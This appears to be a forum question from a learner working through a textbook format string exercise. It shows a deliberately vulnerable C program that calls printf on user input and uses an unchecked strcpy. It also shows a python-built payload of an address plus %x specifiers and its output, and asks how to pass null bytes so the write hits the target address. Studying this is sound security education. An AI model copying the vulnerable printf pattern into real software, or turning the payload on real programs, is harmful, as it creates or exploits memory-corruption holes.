I've recently programmed a little C program that is vulnerable to a format string exploit. Here is the source code(it is copied from a book):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char text[1024];
static int test_val = -72;
strcpy(text, argv[1]);
printf("The right way to print user-controlled input:\n");
printf("%s", text);
printf("\nThe wrong way to print user-controlled input:\n");
printf(text);
printf("\n");
printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
}
I want to change the value of the test_val variable which has the following address:0x0040202c. So when i pass the arguments through the bash terminal like this:
./vuln "`python -c "print 'AAAA' + '\x2c\x20\x40\x00' + '%x ' * 5"`"
I get the following output
bash: warning: command substitution: ignored null byte in input
The right way to print user-controlled input:
AAAA, @%x %x %x %x %x
The wrong way to print user-controlled input:
AAAA, @bfffeed0 bfffef1c 4005f7 41414141 2540202c
[*] test_val @ 0x0040202c = -72 0xffffffb8
As a result I end up with the wrong address in memory (0x2540202c instead of 0x0040202c).
Now my question is: How can I produce the leading 0's and give them as an argument to my program?